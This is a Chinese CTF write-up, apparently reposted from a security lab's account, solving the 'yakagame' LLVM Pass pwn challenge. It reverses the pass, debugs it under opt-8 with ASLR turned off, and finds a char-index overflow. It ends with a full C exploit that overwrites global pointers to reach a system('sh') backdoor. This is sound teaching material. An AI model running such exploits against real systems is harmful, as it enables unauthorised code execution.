LLVM Pass PWN(上)

admin 2023年2月22日02:01:03评论14 views字数 12803阅读42分40秒阅读模式

LLVM 命名最早源自于底层虚拟机(Low Level Virtual Machine)的缩写,由于命名带来的混乱,LLVM就是该项目的全称。LLVM 核心库提供了与编译器相关的支持,可以作为多种语言编译器的后台来使用。能够进行程序语言的编译器优化、链接优化、在线编译优化、代码生成。LLVM的项目是一个模块化和可重复使用的编译器和工具技术的集合。LLVM是伊利诺伊大学的一个研究项目,提供一个现代化的,基于SSA的编译策略能够同时支持静态和动态的任意编程语言的编译目标。自那时以来,已经成长为LLVM的主干项目,由不同的子项目组成,其中许多正在生产中使用的各种 商业和开源的项目,以及被广泛用于学术研究。
下面通过一道题目来入门 llvm pass pwn。
  • 环境配置

ubuntu18下安装clang-8环境。
apt-get install -y clang++-8 libc++-8-dev libc++abi-8-dev
  • yakagame

分析处理逻辑

对.so文件进行逆向。

LLVM Pass PWN(上)

得到函数名如下:

gamestart

fight

merge

destroy

upgrade

wuxiangdeyidao

zhanjinniuza

guobapenhuo

tiandongwanxiang

一眼原,另外,在处理完这些函数之后,程序还对其他函数名的函数进行了处理,这里对其他函数的处理又涉及了另一个全局的数组funMap,说实话看到这里我有点懵,c++的我直接有点看不懂,没办法,看不懂的直接调试,这里先放着,先去看看其他函数。

LLVM Pass PWN(上)

首先是fight函数。

LLVM Pass PWN(上)

这里还是比较友好的,首先拿到一个参数作为index,之后通过index从weaponlist拿到一个值,之后和boss这个全局变量进行比较。

LLVM Pass PWN(上)


如果拿出来的值扣去boss血量大于0x12345678时就执行后门,后面里边有system函数的调用。

LLVM Pass PWN(上)

个人感觉通过正常流程执行到这个后门是有可能的。
其次是merge函数。

将两个参数当成 index ,作为weapon

LLVM Pass PWN(上)

list的索引实现 add 操作


然后是destroy函数。

LLVM Pass PWN(上)


将参数当成 index ,作为weaponlist的索引实现置0操作

之后是upgrade函数。

LLVM Pass PWN(上)

weaponlist每个字节加上参数的值

最后是原味函数:

LLVM Pass PWN(上)

一队四个人,还挺严谨,都是减去boss血量之后对cmd也就是后门的参数进行操作

看到这里,我个人的思路主要在于merge操作,这个操作里似乎看起来好像没有对index做限制,因此似乎可以随意修改全局变量的值??可以看到,这些全局变量都贴的比较近,有没有一种可能,可以通过merge对这些全局变量进行控制呢?

LLVM Pass PWN(上)


另外,还有最后一个处理流程是怎样的呢,带着这两个疑问,我们进入调试。
  • 调试与分析

首先写一个简单的测试把所有函数都用上尝试一下。
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);

void gamestart()
{
    wuxiangdeyidao();
    zhanjinniuza();
    guobapenhuo();
    tiandongwanxiang();
    upgrade(0x50);
    destroy(6);
    merge(-1,0);
    fight(1);
}
处理并运行一下。
clang-8 -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./yaka.so -ayaka ./exp.ll
效果如下:

LLVM Pass PWN(上)

这里的函数只有 upgradefight有回显,也看不出什么来,有不得不调试的理由了呢。
由于直接调试的是 opt 文件,因此要等.so文件加载出来后才可以进行调试。
先把 aslr 关了方便调试。
echo 0 > /proc/sys/kernel/randomize_va_space
运行得到yaka.so的起始地址。

LLVM Pass PWN(上)

程序还是要先进入 opt 的,首先将断点下在main函数,找到什么时候加载 yaka.so,之后将断点下在该位置,然后就可以在yaka.so里下断点了,这里直接在 yaka.sofight 处理模块下断点。

断点一 :0x4b8e0e

断点二 :0xCAD7+0x7ffff238e000

之后查看关键全局变量,注意看,测试的 merge (-1,0) 貌似没有操作,但是在 weaponlist最后有个 0xa0,这个应该就是 merge 操作后的结果,-1被处理成0xff了。

LLVM Pass PWN(上)

LLVM Pass PWN(上)

负向溢出不行,正向溢出经尝试也不行,因此还是得看最后的函数处理。

断点一 :0x4b8e0e

断点二 :0xD12E+0x7ffff238e000

随便写个函数。
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
    aaaa(0);
    bbbb(1);
}
居然过了,原来写啥样的都行,只要是c语言函数库以外的就行。LLVM Pass PWN(上)
但是貌似没用,现在的关键是如何进到下面对weaponlist有操作的分支。LLVM Pass PWN(上)
不过c嘉嘉的看起来真的是一坨,再调试一下,运行之后发现原本为空的 funMap 有了内容。

LLVM Pass PWN(上)

再continue到下次运行到此处,funMap内容已经有了更新,并且以某种链表的形式串了起来。
LLVM Pass PWN(上)
那么可以猜测,程序遇到不认识的函数就会用funMap存起来。
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
    aaaa(0);
    bbbb(1);
    aaaa(0);
    aaaa(0);
}
更新一下脚本,再次运行,这样就大概弄清楚了,遇到不认识的函数,首先会查funMap表,如果里面有就进入weaponlist的操作流程,如果没有就存起来。

LLVM Pass PWN(上)

接着进去看看weaponlist被赋值成了什么。

断点二:0xD1C5+0x7ffff238e000

貌似是被赋值成为了函数里的参数,更新一下脚本。
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
    aaaa(77);
    bbbb(1);
    aaaa(77);
    bbbb(1);
    aaaa(77);

    fight(1);
}
再次断点调试,成功写入。

LLVM Pass PWN(上)

但是貌似每个函数只能用一次?
之后发现,map搜索到函数所用的次数就是index,而这个map是通过函数名字符串来索引的,换句话说,插入map表的函数的位置就是调用时被写入的index,也就是说,不是这个函数只能用一次,而是这个函数用几次效果都一样,都只能写到对应位置。
  • 攻击

我们再次回到那个循环,可以看到循环的这个idx仅仅是char类型

LLVM Pass PWN(上)

而char类型的范围是 -128 ~ +127,因此只要map表足够长,循环足够多的次数,就可以实现负向溢出了,用python生成一下0x100个函数名,实现 -0x80 到 0xff 的控制。
from pwn import *
import os

str1 = ''
for i in range(0x100):
    str1 += 'void fun{0:03}'.format( i) + '(int a);n'

str2 = ''
for i in range(0x100):
    str2 += 'fun{0:03}'.format( i) + '(0);n'


# print(str1)
print(str2)
我们再来看看关键的全局变量,这些实际上都是指针,怎么办呢,我们可以找个sh字符串来替换cmd,可以看到,opt-8程序没有开pie,因此可以直接在这里找sh字符串。

LLVM Pass PWN(上)

很经典的fflush函数。

LLVM Pass PWN(上)

addr : 0x6efdad

最后是 score ,我们再回到 fight 这个地方,你会发现,就算是 loss 也会执行最后的判断,因此不是强迫症我们根本不需要管前面的东西。
再看下这个比较,把 score 里的东西作为 __int64 指针解析,那么我们只需要改一下指针的偏移,让他随便指向一个地址即可过检查了。LLVM Pass PWN(上)
这个时候又想到了 opt-8 这个程序,里面的 got 表他不就是指向了一个地址吗,我们随便弄一个过来用。

addr : 0x77dfd8

写入成功。LLVM Pass PWN(上)
都到这里也不需要调了,攻击成功。

LLVM Pass PWN(上)

脚本。
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);

void fun000(int a);
void fun001(int a);
void fun002(int a);
void fun003(int a);
void fun004(int a);
void fun005(int a);
void fun006(int a);
void fun007(int a);
void fun008(int a);
void fun009(int a);
void fun010(int a);
void fun011(int a);
void fun012(int a);
void fun013(int a);
void fun014(int a);
void fun015(int a);
void fun016(int a);
void fun017(int a);
void fun018(int a);
void fun019(int a);
void fun020(int a);
void fun021(int a);
void fun022(int a);
void fun023(int a);
void fun024(int a);
void fun025(int a);
void fun026(int a);
void fun027(int a);
void fun028(int a);
void fun029(int a);
void fun030(int a);
void fun031(int a);
void fun032(int a);
void fun033(int a);
void fun034(int a);
void fun035(int a);
void fun036(int a);
void fun037(int a);
void fun038(int a);
void fun039(int a);
void fun040(int a);
void fun041(int a);
void fun042(int a);
void fun043(int a);
void fun044(int a);
void fun045(int a);
void fun046(int a);
void fun047(int a);
void fun048(int a);
void fun049(int a);
void fun050(int a);
void fun051(int a);
void fun052(int a);
void fun053(int a);
void fun054(int a);
void fun055(int a);
void fun056(int a);
void fun057(int a);
void fun058(int a);
void fun059(int a);
void fun060(int a);
void fun061(int a);
void fun062(int a);
void fun063(int a);
void fun064(int a);
void fun065(int a);
void fun066(int a);
void fun067(int a);
void fun068(int a);
void fun069(int a);
void fun070(int a);
void fun071(int a);
void fun072(int a);
void fun073(int a);
void fun074(int a);
void fun075(int a);
void fun076(int a);
void fun077(int a);
void fun078(int a);
void fun079(int a);
void fun080(int a);
void fun081(int a);
void fun082(int a);
void fun083(int a);
void fun084(int a);
void fun085(int a);
void fun086(int a);
void fun087(int a);
void fun088(int a);
void fun089(int a);
void fun090(int a);
void fun091(int a);
void fun092(int a);
void fun093(int a);
void fun094(int a);
void fun095(int a);
void fun096(int a);
void fun097(int a);
void fun098(int a);
void fun099(int a);
void fun100(int a);
void fun101(int a);
void fun102(int a);
void fun103(int a);
void fun104(int a);
void fun105(int a);
void fun106(int a);
void fun107(int a);
void fun108(int a);
void fun109(int a);
void fun110(int a);
void fun111(int a);
void fun112(int a);
void fun113(int a);
void fun114(int a);
void fun115(int a);
void fun116(int a);
void fun117(int a);
void fun118(int a);
void fun119(int a);
void fun120(int a);
void fun121(int a);
void fun122(int a);
void fun123(int a);
void fun124(int a);
void fun125(int a);
void fun126(int a);
void fun127(int a);
void fun128(int a);
void fun129(int a);
void fun130(int a);
void fun131(int a);
void fun132(int a);
void fun133(int a);
void fun134(int a);
void fun135(int a);
void fun136(int a);
void fun137(int a);
void fun138(int a);
void fun139(int a);
void fun140(int a);
void fun141(int a);
void fun142(int a);
void fun143(int a);
void fun144(int a);
void fun145(int a);
void fun146(int a);
void fun147(int a);
void fun148(int a);
void fun149(int a);
void fun150(int a);
void fun151(int a);
void fun152(int a);
void fun153(int a);
void fun154(int a);
void fun155(int a);
void fun156(int a);
void fun157(int a);
void fun158(int a);
void fun159(int a);
void fun160(int a);
void fun161(int a);
void fun162(int a);
void fun163(int a);
void fun164(int a);
void fun165(int a);
void fun166(int a);
void fun167(int a);
void fun168(int a);
void fun169(int a);
void fun170(int a);
void fun171(int a);
void fun172(int a);
void fun173(int a);
void fun174(int a);
void fun175(int a);
void fun176(int a);
void fun177(int a);
void fun178(int a);
void fun179(int a);
void fun180(int a);
void fun181(int a);
void fun182(int a);
void fun183(int a);
void fun184(int a);
void fun185(int a);
void fun186(int a);
void fun187(int a);
void fun188(int a);
void fun189(int a);
void fun190(int a);
void fun191(int a);
void fun192(int a);
void fun193(int a);
void fun194(int a);
void fun195(int a);
void fun196(int a);
void fun197(int a);
void fun198(int a);
void fun199(int a);
void fun200(int a);
void fun201(int a);
void fun202(int a);
void fun203(int a);
void fun204(int a);
void fun205(int a);
void fun206(int a);
void fun207(int a);
void fun208(int a);
void fun209(int a);
void fun210(int a);
void fun211(int a);
void fun212(int a);
void fun213(int a);
void fun214(int a);
void fun215(int a);
void fun216(int a);
void fun217(int a);
void fun218(int a);
void fun219(int a);
void fun220(int a);
void fun221(int a);
void fun222(int a);
void fun223(int a);
void fun224(int a);
void fun225(int a);
void fun226(int a);
void fun227(int a);
void fun228(int a);
void fun229(int a);
void fun230(int a);
void fun231(int a);
void fun232(int a);
void fun233(int a);
void fun234(int a);
void fun235(int a);
void fun236(int a);
void fun237(int a);
void fun238(int a);
void fun239(int a);
void fun240(int a);
void fun241(int a);
void fun242(int a);
void fun243(int a);
void fun244(int a);
void fun245(int a);
void fun246(int a);
void fun247(int a);
void fun248(int a);
void fun249(int a);
void fun250(int a);
void fun251(int a);
void fun252(int a);
void fun253(int a);
void fun254(int a);
void fun255(int a);

void gamestart()
{
    fun000(0);
    fun001(0);
    fun002(0);
    fun003(0);
    fun004(0);
    fun005(0);
    fun006(0);
    fun007(0);
    fun008(0);
    fun009(0);
    fun010(0);
    fun011(0);
    fun012(0);
    fun013(0);
    fun014(0);
    fun015(0);
    fun016(0);
    fun017(0);
    fun018(0);
    fun019(0);
    fun020(0);
    fun021(0);
    fun022(0);
    fun023(0);
    fun024(0);
    fun025(0);
    fun026(0);
    fun027(0);
    fun028(0);
    fun029(0);
    fun030(0);
    fun031(0);
    fun032(0);
    fun033(0);
    fun034(0);
    fun035(0);
    fun036(0);
    fun037(0);
    fun038(0);
    fun039(0);
    fun040(0);
    fun041(0);
    fun042(0);
    fun043(0);
    fun044(0);
    fun045(0);
    fun046(0);
    fun047(0);
    fun048(0);
    fun049(0);
    fun050(0);
    fun051(0);
    fun052(0);
    fun053(0);
    fun054(0);
    fun055(0);
    fun056(0);
    fun057(0);
    fun058(0);
    fun059(0);
    fun060(0);
    fun061(0);
    fun062(0);
    fun063(0);
    fun064(0);
    fun065(0);
    fun066(0);
    fun067(0);
    fun068(0);
    fun069(0);
    fun070(0);
    fun071(0);
    fun072(0);
    fun073(0);
    fun074(0);
    fun075(0);
    fun076(0);
    fun077(0);
    fun078(0);
    fun079(0);
    fun080(0);
    fun081(0);
    fun082(0);
    fun083(0);
    fun084(0);
    fun085(0);
    fun086(0);
    fun087(0);
    fun088(0);
    fun089(0);
    fun090(0);
    fun091(0);
    fun092(0);
    fun093(0);
    fun094(0);
    fun095(0);
    fun096(0);
    fun097(0);
    fun098(0);
    fun099(0);
    fun100(0);
    fun101(0);
    fun102(0);
    fun103(0);
    fun104(0);
    fun105(0);
    fun106(0);
    fun107(0);
    fun108(0);
    fun109(0);
    fun110(0);
    fun111(0);
    fun112(0);
    fun113(0);
    fun114(0);
    fun115(0);
    fun116(0);
    fun117(0);
    fun118(0);
    fun119(0);
    fun120(0);
    fun121(0);
    fun122(0);
    fun123(0);
    fun124(0);
    fun125(0);
    fun126(0);
    fun127(0);
    fun128(0);
    fun129(0);
    fun130(0);
    fun131(0);
    fun132(0);
    fun133(0);
    fun134(0);
    fun135(0);
    fun136(0);
    fun137(0);
    fun138(0);
    fun139(0);
    fun140(0);
    fun141(0);
    fun142(0);
    fun143(0);
    fun144(0);
    fun145(0);
    fun146(0);
    fun147(0);
    fun148(0);
    fun149(0);
    fun150(0);
    fun151(0);
    fun152(0);
    fun153(0);
    fun154(0);
    fun155(0);
    fun156(0);
    fun157(0);
    fun158(0);
    fun159(0);
    fun160(0);
    fun161(0);
    fun162(0);
    fun163(0);
    fun164(0);
    fun165(0);
    fun166(0);
    fun167(0);
    fun168(0);
    fun169(0);
    fun170(0);
    fun171(0);
    fun172(0);
    fun173(0);
    fun174(0);
    fun175(0);
    fun176(0);
    fun177(0);
    fun178(0);
    fun179(0);
    fun180(0);
    fun181(0);
    fun182(0);
    fun183(0);
    fun184(0);
    fun185(0);
    fun186(0);
    fun187(0);
    fun188(0);
    fun189(0);
    fun190(0);
    fun191(0);
    fun192(0);
    fun193(0);
    fun194(0);
    fun195(0);
    fun196(0);
    fun197(0);
    fun198(0);
    fun199(0);
    fun200(0);
    fun201(0);
    fun202(0);
    fun203(0);
    fun204(0);
    fun205(0);
    fun206(0);
    fun207(0);
    fun208(0);
    fun209(0);
    fun210(0);
    fun211(0);
    fun212(0);
    fun213(0);
    fun214(0);
    fun215(0);
    fun216(0);
    fun217(0);
    fun218(0);
    fun219(0);
    fun220(0);
    fun221(0);
    fun222(0);
    fun223(0);
    fun224(0);
    fun225(0);
    fun226(0);
    fun227(0);
    fun228(0);
    fun229(0);
    fun230(0);
    fun231(0);

    // -0x18
    fun232(0xad);
    fun233(0xfd);
    fun234(0x6e);
    fun235(0);
    fun236(0);
    fun237(0);
    fun238(0);
    fun239(0);

    // -0x10
    fun240(0xd8);
    fun241(0xdf);
    fun242(0x77);
    fun243(0);
    fun244(0);
    fun245(0);
    fun246(0);
    fun247(0);
    fun248(0);
    fun249(0);
    fun250(0);
    fun251(0);
    fun252(0);
    fun253(0);
    fun254(0);
    fun255(0); // -1

    fun232(0xad);
    fun233(0xfd);
    fun234(0x6e);
    
    fun240(0xd8);
    fun241(0xdf);
    fun242(0x77);

    fight(1);
}

              

原文始发于微信公众号(山石网科安全技术研究院):LLVM Pass PWN(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月22日02:01:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LLVM Pass PWN(上)http://cn-sec.com/archives/1266280.html

发表评论

匿名网友 填写信息